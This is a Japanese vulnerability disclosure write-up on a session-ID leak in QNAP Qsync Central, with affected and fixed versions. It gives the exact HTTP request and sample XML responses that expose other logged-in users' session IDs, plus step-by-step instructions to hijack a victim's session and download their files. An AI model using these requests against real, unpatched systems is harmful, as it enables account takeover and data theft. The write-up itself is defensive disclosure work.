
"重要なリソースに対する不適切な権限割り当ての脆弱性がQsync Centralに影響を与えることが報告されています。悪用された場合、認証されたユーザーがネットワーク経由でリソースを読み取りまたは変更できる可能性があります。"
発見日: 2023年12月5日
修正日: 2024年2月3日
影響を受けるバージョン: Qsync Central 4.4.x, Qsync Central 4.3.x
修正されたバージョン: Qsync Central 4.4.0.15 (2024/01/04) 以降, Qsync Central 4.3.0.11 (2024/01/11) 以降
概要:
最近のペネトレーションテスト中に、低権限ユーザー(ここではuser123)としてQNAPシステムへのアクセスを取得しました。興味深いファイルはなかったので、もう少し深く調査しました。システム上ではQsync Central App (https://www.qnap.com/en/app_releasenotes/list.php?app_choose=QsyncServer) のみが実行されていました。最初に、利用可能なすべてのユーザーのリストを見つけようとし、プロキシ履歴を調査しました。エンドポイント /cgi-bin/qsync/qboxRequest.cgi を見つけました。このエンドポイントは、現在のユーザーアカウントに関する情報と、実際には現在のセッションID(sid)も明らかにしました。
このリクエストは以下の通りでした:
GET /cgi-bin/qsync/qboxRequest.cgi?sid=60ud018n&_dc=1701766637869&subfunc=qbox&genQboxDeviceList=1&sort=1&filteruser=user123 HTTP/2
Host: vulnhost.com
Cookie: DESKTOP=1; WINDOW_MODE=1; nas_wfm_tree_x=200; QSYNC_SID=60ud018n; QSYNC_USER=user123; NAS_SID=60ud018n; QT=1701766635952
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://vulnhost.com/cgi-bin/
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
応答は以下の通りでした:
HTTP/2 200 OK
Server:
[...]
<data>
<device>
<id><![CDATA[REDACTED]]></id>
<type><![CDATA[3]]></type>
<time><![CDATA[2023-12-05 09:57:14]]></time>
<user><![CDATA[user123]]></user>
<ip><![CDATA[REDACTED]]></ip>
<sid><![CDATA[60ud018n]]></sid>
<uid><![CDATA[REDACTED]]></uid>
<action><![CDATA[1]]></action>
<comp><![CDATA[Qsync-File Station]]></comp>
<desc><![CDATA[File Station login Qsync]]></desc>
<channel><![CDATA[0]]></channel>
<online><![CDATA[0]]></online>
<version><![CDATA[]]></version>
<QsyncPath><![CDATA[/home/.Qsync]]></QsyncPath>
</device>
</data>
<ret>0</ret>
</logroot>
</QDocRoot>
興味深かったのは filteruser パラメータでした。これを削除したところ、驚いたことに、すべてのユーザーとそのセッションIDのリストが返されました。そのため、他のログインユーザーのセッションを乗っ取ることができました。PoCとして、そのうちの1つのセッションを使用して別のユーザーとしてログインしました。この脆弱性をQNAPのバグバウンティプログラムに報告しました。コミュニケーションは円滑で、修正は迅速に展開されました。
再現手順(詳細) :
攻撃者として通常の低権限ユーザーアカウントでQNAP Qsync Webアプリケーションにログインします。
Qsync Webアプリケーションによって設定されたNAS_SID Cookieから攻撃者のセッションID(sid)を抽出します。
攻撃者のsid値をNAS_SID Cookieとsid HTTP GETパラメータの両方に使用し、以下のHTTPリクエストを実行します:
GET /cgi-bin/qsync/qboxRequest.cgi?sid=yl9osz6l&subfunc=qbox&genQboxDeviceList=1&sort=1 HTTP/2
Host: vulnhost.com
Cookie: NAS_SID=yl9osz6l;
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://vulnhost.com/cgi-bin/
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Webアプリケーションに現在ログインしている他のすべてのユーザーの有効なセッションIDをHTTPレスポンスから抽出できます。例:
HTTP/2 200 OK
Server:
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' ; object-src 'self' ; worker-src 'self' blob:
Vary: Referer
X-Xss-Protection: 1; mode=block
Strict-Transport-Security: max-age=0
X-Content-Type-Options: nosniff
Content-Type: text/xml
Date: Tue, 05 Dec 2023 10:32:00 GMT
<?xml version="1.0" encoding="UTF-8" ?>
<QDocRoot version="1.0">
<authPassed><![CDATA[1]]></authPassed><model><modelName><![CDATA[TS-X71U]]></modelName><internalModelName><![CDATA[TS-X71]]></internalModelName><platform><![CDATA[TS-NASX86]]></platform><platform_ex><![CDATA[X86_HASWELL]]></platform_ex><customModelName><![CDATA[]]></customModelName><displayModelName><![CDATA[TVS-471U-RP]]></displayModelName><sas_model><![CDATA[0]]></sas_model><storage_v2>1</storage_v2>
<encryptfsSupported><![CDATA[1]]></encryptfsSupported></model>
<firmware><version><![CDATA[5.1.1]]></version><number><![CDATA[2491]]></number><build><![CDATA[20230815]]></build><patch><![CDATA[0]]></patch><buildTime><![CDATA[2023/08/15]]></buildTime></firmware>
<sp><![CDATA[ALPHA]]></sp><rfs_bits><![CDATA[32]]></rfs_bits><specVersion><![CDATA[1.0]]></specVersion><hostname><![CDATA[Data]]></hostname><DemoSiteSuppurt><![CDATA[no]]></DemoSiteSuppurt><customLogo><customFrontLogo><![CDATA[]]></customFrontLogo><customLoginLogo><![CDATA[]]></customLoginLogo></customLogo>
<logroot>
<ADSSupport><![CDATA[1]]></ADSSupport><trustedDomain><enable><![CDATA[0]]></enable></trustedDomain>
<count>239</count>
<data>
<device>
<id><![CDATA[REDACTED]]></id>
<type><![CDATA[3]]></type>
<time><![CDATA[2023-12-05 11:31:50]]></time>
<user><![CDATA[victim]]></user>
<ip><![CDATA[REDACTED]]></ip>
<sid><![CDATA[12345678]]></sid></span>
<uid><![CDATA[REDACTED]]></uid>
<action><![CDATA[1]]></action>
<comp><![CDATA[Qsync-File Station]]></comp>
<desc><![CDATA[File Station login Qsync]]></desc>
<channel><![CDATA[0]]></channel>
<online><![CDATA[1]]></online>
<version><![CDATA[]]></version>
<QsyncPath><![CDATA[/home/.Qsync]]></QsyncPath>
</device>
[...]
以下のスクリーンショットはこの問題を示しています(プライバシーの理由から、セッションIDおよびテストしたQNAP Qsyncインスタンスに関する識別情報は編集されています):
![]() |
|---|
| 漏洩したセッションIDの値 |
攻撃者は、抽出したsid値をそれぞれNAS_SID Cookieに設定することで、任意の被害者としてログインできます。これにより、攻撃者は被害者のセッションを乗っ取り、被害者がQNAPシステムに保存した任意のファイルをダウンロードできます。